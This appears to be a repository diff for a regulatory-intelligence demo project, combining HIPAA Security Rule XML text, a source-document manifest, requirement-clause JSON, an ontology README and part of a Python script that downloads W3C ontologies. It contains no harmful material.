<P>(2) <I>Implementation specification: Mechanism to authenticate electronic protected health information (Addressable).</I> Implement electronic mechanisms to corroborate that electronic protected health information has not been altered or destroyed in an unauthorized manner.</P>
|
||||
<P>(d) <I>Standard: Person or entity authentication.</I> Implement procedures to verify that a person or entity seeking access to electronic protected health information is the one claimed.</P>
|
||||
<P>(e)(1) <I>Standard: Transmission security.</I> Implement technical security measures to guard against unauthorized access to electronic protected health information that is being transmitted over an electronic communications network.</P>
|
||||
<P>(2) <I>Implementation specifications:</I></P>
|
||||
<P>(i) <I>Integrity controls (Addressable).</I> Implement security measures to ensure that electronically transmitted electronic protected health information is not improperly modified without detection until disposed of.</P>
|
||||
<P>(ii) <I>Encryption (Addressable).</I> Implement a mechanism to encrypt electronic protected health information whenever deemed appropriate.</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003, as amended at 78 FR 5694, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.314" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.314","citation":"45 CFR 164.314"}">
|
||||
<HEAD>§ 164.314 Organizational requirements.</HEAD>
|
||||
<P>(a)(1) <I>Standard: Business associate contracts or other arrangements.</I> The contract or other arrangement required by § 164.308(b)(3) must meet the requirements of paragraph (a)(2)(i), (a)(2)(ii), or (a)(2)(iii) of this section, as applicable.</P>
|
||||
<P>(2) <I>Implementation specifications (Required)</I>—(i) <I>Business associate contracts.</I> The contract must provide that the business associate will—</P>
|
||||
<P>(A) Comply with the applicable requirements of this subpart;</P>
|
||||
<P>(B) In accordance with § 164.308(b)(2), ensure that any subcontractors that create, receive, maintain, or transmit electronic protected health information on behalf of the business associate agree to comply with the applicable requirements of this subpart by entering into a contract or other arrangement that complies with this section; and</P>
|
||||
<P>(C) Report to the covered entity any security incident of which it becomes aware, including breaches of unsecured protected health information as required by § 164.410.</P>
|
||||
<P>(ii) <I>Other arrangements.</I> The covered entity is in compliance with paragraph (a)(1) of this section if it has another arrangement in place that meets the requirements of § 164.504(e)(3).</P>
|
||||
<P>(iii) <I>Business associate contracts with subcontractors.</I> The requirements of paragraphs (a)(2)(i) and (a)(2)(ii) of this section apply to the contract or other arrangement between a business associate and a subcontractor required by § 164.308(b)(4) in the same manner as such requirements apply to contracts or other arrangements between a covered entity and business associate.</P>
|
||||
<P>(b)(1) <I>Standard: Requirements for group health plans.</I> Except when the only electronic protected health information disclosed to a plan sponsor is disclosed pursuant to § 164.504(f)(1)(ii) or (iii), or as authorized under § 164.508, a group health plan must ensure that its plan documents provide that the plan sponsor will reasonably and appropriately safeguard electronic protected health information created, received, maintained, or transmitted to or by the plan sponsor on behalf of the group health plan.</P>
|
||||
<P>(2) <I>Implementation specifications (Required).</I> The plan documents of the group health plan must be amended to incorporate provisions to require the plan sponsor to—</P>
|
||||
<P>(i) Implement administrative, physical, and technical safeguards that reasonably and appropriately protect the confidentiality, integrity, and availability of the electronic protected health information that it creates, receives, maintains, or transmits on behalf of the group health plan;</P>
|
||||
<P>(ii) Ensure that the adequate separation required by § 164.504(f)(2)(iii) is supported by reasonable and appropriate security measures;</P>
|
||||
<P>(iii) Ensure that any agent to whom it provides this information agrees to implement reasonable and appropriate security measures to protect the information; and</P>
|
||||
<P>(iv) Report to the group health plan any security incident of which it becomes aware.</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003, as amended at 78 FR 5694, Jan. 25, 2013; 78 FR 34266, June 7, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.316" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.316","citation":"45 CFR 164.316"}">
|
||||
<HEAD>§ 164.316 Policies and procedures and documentation requirements.</HEAD>
|
||||
<P>A covered entity or business associate must, in accordance with § 164.306:</P>
|
||||
<P>(a) <I>Standard: Policies and procedures.</I> Implement reasonable and appropriate policies and procedures to comply with the standards, implementation specifications, or other requirements of this subpart, taking into account those factors specified in § 164.306(b)(2)(i), (ii), (iii), and (iv). This standard is not to be construed to permit or excuse an action that violates any other standard, implementation specification, or other requirements of this subpart. A covered entity or business associate may change its policies and procedures at any time, provided that the changes are documented and are implemented in accordance with this subpart.</P>
|
||||
<P>(b)(1) <I>Standard: Documentation.</I> (i) Maintain the policies and procedures implemented to comply with this subpart in written (which may be electronic) form; and</P>
|
||||
<P>(ii) If an action, activity or assessment is required by this subpart to be documented, maintain a written (which may be electronic) record of the action, activity, or assessment.</P>
|
||||
<P>(2) <I>Implementation specifications:</I></P>
|
||||
<P>(i) <I>Time limit (Required).</I> Retain the documentation required by paragraph (b)(1) of this section for 6 years from the date of its creation or the date when it last was in effect, whichever is later.</P>
|
||||
<P>(ii) <I>Availability (Required).</I> Make documentation available to those persons responsible for implementing the procedures to which the documentation pertains.</P>
|
||||
<P>(iii) <I>Updates (Required).</I> Review documentation periodically, and update as needed, in response to environmental or operational changes affecting the security of the electronic protected health information.</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003, as amended at 78 FR 5695, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.318" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.318","citation":"45 CFR 164.318"}">
|
||||
<HEAD>§ 164.318 Compliance dates for the initial implementation of the security standards.</HEAD>
|
||||
<P>(a) <I>Health plan.</I> (1) A health plan that is not a small health plan must comply with the applicable requirements of this subpart no later than April 20, 2005.</P>
|
||||
<P>(2) A small health plan must comply with the applicable requirements of this subpart no later than April 20, 2006.</P>
|
||||
<P>(b) <I>Health care clearinghouse.</I> A health care clearinghouse must comply with the applicable requirements of this subpart no later than April 20, 2005.</P>
|
||||
<P>(c) <I>Health care provider.</I> A covered health care provider must comply with the applicable requirements of this subpart no later than April 20, 2005.</P>
|
||||
</DIV8>
|
||||
|
||||
<DIV9 N="Appendix A to Subpart C of Part 164" TYPE="APPENDIX" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/part-164/appendix-Appendix A to Subpart C of Part 164","citation":"Appendix A to Subpart C of Part 164, Title 45"}">
|
||||
<HEAD>Appendix A to Subpart C of Part 164—Security Standards: Matrix
|
||||
</HEAD>
|
||||
<DIV width="100%"><DIV class="gpotbl_div">
|
||||
<TABLE border="1" cellpadding="1" cellspacing="1" class="gpo_table" frame="void" width="100%">
|
||||
<THEAD>
|
||||
<TR>
|
||||
<TH class="center border-top-single border-bottom-single border-right-single">Standards</TH>
|
||||
<TH class="center border-top-single border-bottom-single border-right-single">Sections</TH>
|
||||
<TH class="center border-top-single border-bottom-single">Implementation Specifications (R) = Required, (A) = Addressable</TH>
|
||||
</TR>
|
||||
</THEAD>
|
||||
<TBODY>
|
||||
<TR>
|
||||
<TD colspan="3" class="center border-bottom-single"><strong class="minor-caps">Administrative Safeguards</strong>
|
||||
</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Security Management Process</TD>
|
||||
<TD class="left border-right-single">164.308(a)(1)</TD>
|
||||
<TD class="left">Risk Analysis (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Risk Management (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Sanction Policy (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Information System Activity Review (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Assigned Security Responsibility</TD>
|
||||
<TD class="left border-right-single">164.308(a)(2)</TD>
|
||||
<TD class="left">(R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Workforce Security</TD>
|
||||
<TD class="left border-right-single">164.308(a)(3)</TD>
|
||||
<TD class="left">Authorization and/or Supervision (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Workforce Clearance Procedure</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Termination Procedures (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Information Access Management</TD>
|
||||
<TD class="left border-right-single">164.308(a)(4)</TD>
|
||||
<TD class="left">Isolating Health care Clearinghouse Function (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Access Authorization (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Access Establishment and Modification (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Security Awareness and Training</TD>
|
||||
<TD class="left border-right-single">164.308(a)(5)</TD>
|
||||
<TD class="left">Security Reminders (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Protection from Malicious Software (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Log-in Monitoring (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Password Management (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Security Incident Procedures</TD>
|
||||
<TD class="left border-right-single">164.308(a)(6)</TD>
|
||||
<TD class="left">Response and Reporting (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Contingency Plan</TD>
|
||||
<TD class="left border-right-single">164.308(a)(7)</TD>
|
||||
<TD class="left">Data Backup Plan (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Disaster Recovery Plan (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Emergency Mode Operation Plan (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Testing and Revision Procedure (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Applications and Data Criticality Analysis (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Evaluation</TD>
|
||||
<TD class="left border-right-single">164.308(a)(8)</TD>
|
||||
<TD class="left">(R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-bottom-single border-right-single">Business Associate Contracts and Other Arrangement</TD>
|
||||
<TD class="left border-bottom-single border-right-single">164.308(b)(1)</TD>
|
||||
<TD class="left border-bottom-single">Written Contract or Other Arrangement (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD colspan="3" class="center border-bottom-single"><strong class="minor-caps">Physical Safeguards</strong>
|
||||
</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Facility Access Controls</TD>
|
||||
<TD class="left border-right-single">164.310(a)(1)</TD>
|
||||
<TD class="left">Contingency Operations (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Facility Security Plan (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Access Control and Validation Procedures (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Maintenance Records (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Workstation Use</TD>
|
||||
<TD class="left border-right-single">164.310(b)</TD>
|
||||
<TD class="left">(R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Workstation Security</TD>
|
||||
<TD class="left border-right-single">164.310(c)</TD>
|
||||
<TD class="left">(R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Device and Media Controls</TD>
|
||||
<TD class="left border-right-single">164.310(d)(1)</TD>
|
||||
<TD class="left">Disposal (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Media Re-use (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Accountability (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-bottom-single border-right-single"> </TD>
|
||||
<TD class="left border-bottom-single border-right-single"> </TD>
|
||||
<TD class="left border-bottom-single">Data Backup and Storage (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD colspan="3" class="center border-bottom-single"><strong class="minor-caps">Technical Safeguards</strong> (see § 164.312)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Access Control</TD>
|
||||
<TD class="left border-right-single">164.312(a)(1)</TD>
|
||||
<TD class="left">Unique User Identification (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Emergency Access Procedure (R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Automatic Logoff (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single"> </TD>
|
||||
<TD class="left border-right-single"/>
|
||||
<TD class="left">Encryption and Decryption (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Audit Controls</TD>
|
||||
<TD class="left border-right-single">164.312(b)</TD>
|
||||
<TD class="left">(R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Integrity</TD>
|
||||
<TD class="left border-right-single">164.312(c)(1)</TD>
|
||||
<TD class="left">Mechanism to Authenticate Electronic Protected Health Information (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Person or Entity Authentication</TD>
|
||||
<TD class="left border-right-single">164.312(d)</TD>
|
||||
<TD class="left">(R)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-right-single">Transmission Security</TD>
|
||||
<TD class="left border-right-single">164.312(e)(1)</TD>
|
||||
<TD class="left">Integrity Controls (A)</TD>
|
||||
</TR>
|
||||
<TR>
|
||||
<TD class="left border-bottom-single border-right-single"> </TD>
|
||||
<TD class="left border-bottom-single border-right-single"/>
|
||||
<TD class="left border-bottom-single">Encryption (A)</TD>
|
||||
</TR>
|
||||
</TBODY>
|
||||
</TABLE>
|
||||
</DIV></DIV>
|
||||
</DIV9>
|
||||
|
||||
</DIV6>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,83 @@
|
||||
[
|
||||
{
|
||||
"filename": "nist_ai_rmf_1.0.pdf",
|
||||
"url": "https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.100-1.pdf",
|
||||
"type": "pdf",
|
||||
"description": "NIST AI Risk Management Framework (AI RMF 1.0), NIST AI 100-1",
|
||||
"retrieved_at": "2026-08-04T17:51:30.539157+00:00",
|
||||
"size_bytes": 1946127,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "nist_csf_1.1.pdf",
|
||||
"url": "https://nvlpubs.nist.gov/nistpubs/cswp/nist.cswp.04162018.pdf",
|
||||
"type": "pdf",
|
||||
"description": "NIST Cybersecurity Framework, Version 1.1 (April 2018)",
|
||||
"retrieved_at": "2026-08-04T17:51:33.569305+00:00",
|
||||
"size_bytes": 1062822,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "nist_csf_2.0.pdf",
|
||||
"url": "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.29.pdf",
|
||||
"type": "pdf",
|
||||
"description": "The NIST Cybersecurity Framework (CSF) 2.0, NIST CSWP 29 (February 2024)",
|
||||
"retrieved_at": "2026-08-04T17:51:36.871034+00:00",
|
||||
"size_bytes": 1518858,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "nist_sp800-66r2_hipaa_security.pdf",
|
||||
"url": "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-66r2.pdf",
|
||||
"type": "pdf",
|
||||
"description": "NIST SP 800-66 Rev. 2: Implementing the HIPAA Security Rule: A Cybersecurity Resource Guide",
|
||||
"retrieved_at": "2026-08-04T17:51:40.264756+00:00",
|
||||
"size_bytes": 1626188,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "hipaa_security_rule_45cfr164_subpart_c.xml",
|
||||
"url": "https://www.ecfr.gov/api/versioner/v1/full/2026-07-31/title-45.xml?part=164&subpart=C",
|
||||
"type": "xml",
|
||||
"description": "HIPAA Security Rule, 45 CFR Part 164 Subpart C (current eCFR text, via the public eCFR versioner API)",
|
||||
"retrieved_at": "2026-08-04T17:51:42.108482+00:00",
|
||||
"size_bytes": 37860,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "eo_14110_safe_secure_trustworthy_ai.pdf",
|
||||
"url": "https://www.govinfo.gov/content/pkg/FR-2023-11-01/pdf/2023-24283.pdf",
|
||||
"type": "pdf",
|
||||
"description": "Executive Order 14110: Safe, Secure, and Trustworthy Development and Use of AI (Federal Register, Nov 1, 2023)",
|
||||
"retrieved_at": "2026-08-04T17:51:44.635684+00:00",
|
||||
"size_bytes": 437813,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "omb_m24-10_ai_governance.pdf",
|
||||
"url": "https://www.whitehouse.gov/wp-content/uploads/2024/03/M-24-10-Advancing-Governance-Innovation-and-Risk-Management-for-Agency-Use-of-Artificial-Intelligence.pdf",
|
||||
"type": "pdf",
|
||||
"description": "OMB Memorandum M-24-10: Advancing Governance, Innovation, and Risk Management for Agency Use of Artificial Intelligence (March 2024)",
|
||||
"retrieved_at": "2026-08-04T17:51:45.590508+00:00",
|
||||
"size_bytes": 530549,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "nist_ai_600-1_genai_profile.pdf",
|
||||
"url": "https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.600-1.pdf",
|
||||
"type": "pdf",
|
||||
"description": "NIST AI 600-1: Artificial Intelligence Risk Management Framework: Generative Artificial Intelligence Profile (2024)",
|
||||
"retrieved_at": "2026-08-04T17:51:50.286354+00:00",
|
||||
"size_bytes": 1174643,
|
||||
"status_code": 200
|
||||
},
|
||||
{
|
||||
"filename": "fed_compliance_plan_omb_m24-10.pdf",
|
||||
"url": "https://www.federalreserve.gov/publications/files/compliance-plan-for-omb-memorandum-m-24-10-202409.pdf",
|
||||
"type": "pdf",
|
||||
"description": "Board of Governors of the Federal Reserve System: Compliance Plan for OMB Memorandum M-24-10 (September 2024)",
|
||||
"retrieved_at": "2026-08-04T17:51:51.144492+00:00",
|
||||
"size_bytes": 1092733,
|
||||
"status_code": 200
|
||||
}
|
||||
]
|
||||
@@ -0,0 +1,44 @@
|
||||
{
|
||||
"requirement_clauses": [
|
||||
{"id": "csf2_govern", "doc": "nist_csf_2.0", "sector": "Cross-sector", "topic": "Govern",
|
||||
"citation": "NIST CSWP 29 (CSF 2.0), Govern Function", "text": "GOVERN addresses an understanding"},
|
||||
{"id": "csf2_identify", "doc": "nist_csf_2.0", "sector": "Cross-sector", "topic": "Identify",
|
||||
"citation": "NIST CSWP 29 (CSF 2.0), Identify Function", "text": "IDENTIFY"},
|
||||
{"id": "csf11_identify", "doc": "nist_csf_1.1", "sector": "Cross-sector", "topic": "Identify",
|
||||
"citation": "NIST CSWP 04162018 (CSF 1.1), Identify Function", "text": "Identify"},
|
||||
{"id": "csf11_protect", "doc": "nist_csf_1.1", "sector": "Cross-sector", "topic": "Protect",
|
||||
"citation": "NIST CSWP 04162018 (CSF 1.1), Protect Function", "text": "Protect"},
|
||||
{"id": "hipaa_admin_safeguards", "doc": "hipaa_45cfr164_subpart_c", "sector": "Healthcare", "topic": "Administrative Safeguards",
|
||||
"citation": "45 CFR 164.308", "text": "Administrative safeguards"},
|
||||
{"id": "hipaa_technical_safeguards", "doc": "hipaa_45cfr164_subpart_c", "sector": "Healthcare", "topic": "Technical Safeguards",
|
||||
"citation": "45 CFR 164.312", "text": "Technical safeguards"},
|
||||
{"id": "hipaa_general_rules", "doc": "hipaa_45cfr164_subpart_c", "sector": "Healthcare", "topic": "Technical Safeguards",
|
||||
"citation": "45 CFR 164.306", "text": "Ensure the confidentiality, integrity, and availability of all electronic protected health information"},
|
||||
{"id": "sp80066_scope", "doc": "nist_sp800-66r2", "sector": "Healthcare", "topic": "Administrative Safeguards",
|
||||
"citation": "NIST SP 800-66r2", "text": "HIPAA Security Rule"},
|
||||
{"id": "eo14110_safety", "doc": "eo_14110", "sector": "Cross-sector", "topic": "Risk Classification",
|
||||
"citation": "Executive Order 14110", "text": "Safety and Security"},
|
||||
{"id": "eo14110_privacy", "doc": "eo_14110", "sector": "Cross-sector", "topic": "Transparency",
|
||||
"citation": "Executive Order 14110", "text": "Privacy"},
|
||||
{"id": "omb_transparency", "doc": "omb_m24-10", "sector": "Cross-sector", "topic": "Transparency",
|
||||
"citation": "OMB Memorandum M-24-10 Section 3", "text": "Transparency"},
|
||||
{"id": "omb_rights_impacting", "doc": "omb_m24-10", "sector": "Cross-sector", "topic": "Rights-Impacting AI",
|
||||
"citation": "OMB Memorandum M-24-10 Section 5(b)", "text": "rights-impacting"},
|
||||
{"id": "omb_safety_impacting", "doc": "omb_m24-10", "sector": "Cross-sector", "topic": "Safety-Impacting AI",
|
||||
"citation": "OMB Memorandum M-24-10 Section 5(b)", "text": "safety-impacting"},
|
||||
{"id": "omb_caio", "doc": "omb_m24-10", "sector": "Cross-sector", "topic": "Chief AI Officer",
|
||||
"citation": "OMB Memorandum M-24-10 Section 4", "text": "Chief AI Officer"},
|
||||
{"id": "airmf_govern", "doc": "nist_ai_rmf_1.0", "sector": "Cross-sector", "topic": "Govern (AI RMF)",
|
||||
"citation": "NIST AI 100-1 (AI RMF 1.0), Govern Function", "text": "GOVERN"},
|
||||
{"id": "airmf_map", "doc": "nist_ai_rmf_1.0", "sector": "Cross-sector", "topic": "Map",
|
||||
"citation": "NIST AI 100-1 (AI RMF 1.0), Map Function", "text": "MAP"},
|
||||
{"id": "ai600_content_provenance", "doc": "nist_ai_600-1", "sector": "Cross-sector", "topic": "Content Provenance",
|
||||
"citation": "NIST AI 600-1", "text": "Content Provenance"},
|
||||
{"id": "ai600_confabulation", "doc": "nist_ai_600-1", "sector": "Cross-sector", "topic": "Confabulation",
|
||||
"citation": "NIST AI 600-1", "text": "confabulation"},
|
||||
{"id": "fed_caio", "doc": "fed_compliance_m24-10", "sector": "Financial Services", "topic": "Chief AI Officer",
|
||||
"citation": "Federal Reserve Compliance Plan for OMB M-24-10", "text": "CAIO"},
|
||||
{"id": "fed_financial", "doc": "fed_compliance_m24-10", "sector": "Financial Services", "topic": "Risk Classification",
|
||||
"citation": "Federal Reserve Compliance Plan for OMB M-24-10", "text": "Financial"}
|
||||
]
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,29 @@
|
||||
# Ontology
|
||||
|
||||
Six real, external ontologies are vendored byte-for-byte, with content preserved exactly as fetched and a small header comment recording the source URL and retrieval date. Nothing here is invented. Two small hand-authored files add just enough domain schema to connect them. They are schema, not data, and every term in them is grounded in text that actually appears in the 9 real documents under `../data/raw/`.
|
||||
|
||||
Run `python download_ontologies.py` to fetch the six external files into `external/`.
|
||||
|
||||
## Vendored real ontologies (`external/`)
|
||||
|
||||
| File | Ontology | Source | Used for |
|
||||
|---|---|---|---|
|
||||
| `org.ttl` | W3C Organization Ontology (ORG) | [w3.org/ns/org.ttl](https://www.w3.org/ns/org.ttl) | Modeling NIST, OMB, HHS, and the Fed as `org:Organization`; entity resolution |
|
||||
| `prov-o.ttl` | W3C PROV-O | [w3.org/ns/prov.ttl](https://www.w3.org/ns/prov.ttl) | Provenance: every requirement clause traces back to its real source document |
|
||||
| `skos-core.rdf` | W3C SKOS Core | [w3.org/2009/08/skos-reference/skos.rdf](https://www.w3.org/2009/08/skos-reference/skos.rdf) | The controlled vocabulary in `skos/regulatory_taxonomy.ttl` |
|
||||
| `dcat.ttl` | W3C DCAT | [w3.org/ns/dcat.ttl](https://www.w3.org/ns/dcat.ttl) | Cataloging each ingested document as a `dcat:Dataset` with its real source URL |
|
||||
| `time.ttl` | W3C OWL-Time | [w3.org/2006/time](https://www.w3.org/2006/time) (content-negotiated Turtle) | Modeling each requirement's effective and validity window as a formal `time:Interval` |
|
||||
| `frbr.ttl` | FRBR Core (SPAR OWL 2 DL edition) | [sparontologies.github.io](https://sparontologies.github.io/frbr/current/frbr.ttl) | Modeling "the NIST Cybersecurity Framework" and "the NIST AI RMF" as an `frbr:Work` with each version as an `frbr:Expression`, for the temporal-diff step |
|
||||
|
||||
**Note on formats**: `skos-core.rdf` is RDF/XML, not Turtle. No stable Turtle serialization of the canonical SKOS core vocabulary is served by W3C, so the official RDF/XML file is used instead (`OntologyIngestor` supports both). Every other file is genuine Turtle, confirmed by parsing each with `rdflib` before committing.
|
||||
|
||||
**A note on dead ends**: several "obvious" canonical URLs for these ontologies turned out to be broken or redirect-only when actually tested. For example, `w3.org/2004/02/skos/core.ttl` returns an HTML "300 Multiple Choices" page, not Turtle, and the original OWL-Time GitHub raw URL 404s. The URLs above are the ones that were interactively verified to return real, parseable RDF before being added to `download_ontologies.py`.
|
||||
|
||||
## Hand-authored schema extension
|
||||
|
||||
- **`regulatory_extension.ttl`**: adds `reg:Regulation` (a subclass of `dcat:Dataset` and `prov:Entity`), `reg:RequirementClause` (a subclass of `prov:Entity`), and `reg:Agency` (a subclass of `org:Organization`), plus properties (`issuedBy`, `hasRequirement`, `appliesToSector`, `supersedes`, `amends`, `implements`, `conflictsWith`, `effectiveInterval`, `sourceCitation`) that connect ingested documents to the vendored ontologies above rather than duplicating what they already model.
|
||||
- **`skos/regulatory_taxonomy.ttl`**: about 22 SKOS concepts. Every one is a term verified, by text-searching the real PDFs and XML before writing the file, to actually appear in a specific source document. `Govern`, `Identify`, `Protect`, `Detect`, `Respond`, and `Recover` are CSF 2.0's own six Function names. `Administrative Safeguards`, `Physical Safeguards`, `Technical Safeguards`, and `Organizational Requirements` are 45 CFR 164's own subsection headings. `Confabulation` and `Content Provenance` are NIST AI 600-1's own terms. Each concept's `skos:scopeNote` names its source.
|
||||
|
||||
## Why reuse instead of inventing
|
||||
|
||||
Every capability this use case demonstrates (organizations, provenance, taxonomy, dataset cataloging, temporal versioning) already has a mature, real W3C or W3C-affiliated ontology. Reusing them, rather than building bespoke equivalents, is both less work and a more honest demonstration of Semantica's ontology-alignment capabilities. `OntologyIngestor.ingest_ontology()` imports each file as-is, and `regulatory_extension.ttl` is intentionally the smallest possible bridge between them.
|
||||
@@ -0,0 +1,134 @@
|
||||
"""
|
||||
Vendors the real external ontologies used by the Regulatory Intelligence
|
||||
Platform use case, byte-for-byte (content), into external/. Each file is
|
||||
fetched directly from its official W3C (or W3C-affiliated) namespace/
|
||||
repository URL, verified interactively at implementation time: several
|
||||
"obvious" canonical URLs turned out to be dead links or HTML redirect pages,
|
||||
so every URL below is one that was actually confirmed to return real
|
||||
Turtle/RDF-XML content before being added here.
|
||||
|
||||
Run:
|
||||
python download_ontologies.py
|
||||
|
||||
Vendoring (rather than fetching at notebook run time) keeps the notebook
|
||||
runnable offline after first setup and avoids notebook failures caused by
|
||||
transient network issues.
|
||||
"""
|
||||
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
import requests
|
||||
|
||||
EXTERNAL_DIR = Path(__file__).parent / "external"
|
||||
|
||||
HEADERS_TURTLE = {
|
||||
"User-Agent": "Semantica-Cookbook/1.0 (+https://github.com/semantica-agi/semantica; educational use)",
|
||||
"Accept": "text/turtle, application/rdf+xml;q=0.9, */*;q=0.5",
|
||||
}
|
||||
|
||||
# Each entry: (filename, url, format, description)
|
||||
# format: "ttl" (Turtle) or "rdf" (RDF/XML): determines how the source
|
||||
# header comment is embedded without breaking parseability.
|
||||
ONTOLOGIES = [
|
||||
(
|
||||
"org.ttl",
|
||||
"https://www.w3.org/ns/org.ttl",
|
||||
"ttl",
|
||||
"W3C Organization Ontology (ORG)",
|
||||
),
|
||||
(
|
||||
"prov-o.ttl",
|
||||
"https://www.w3.org/ns/prov.ttl",
|
||||
"ttl",
|
||||
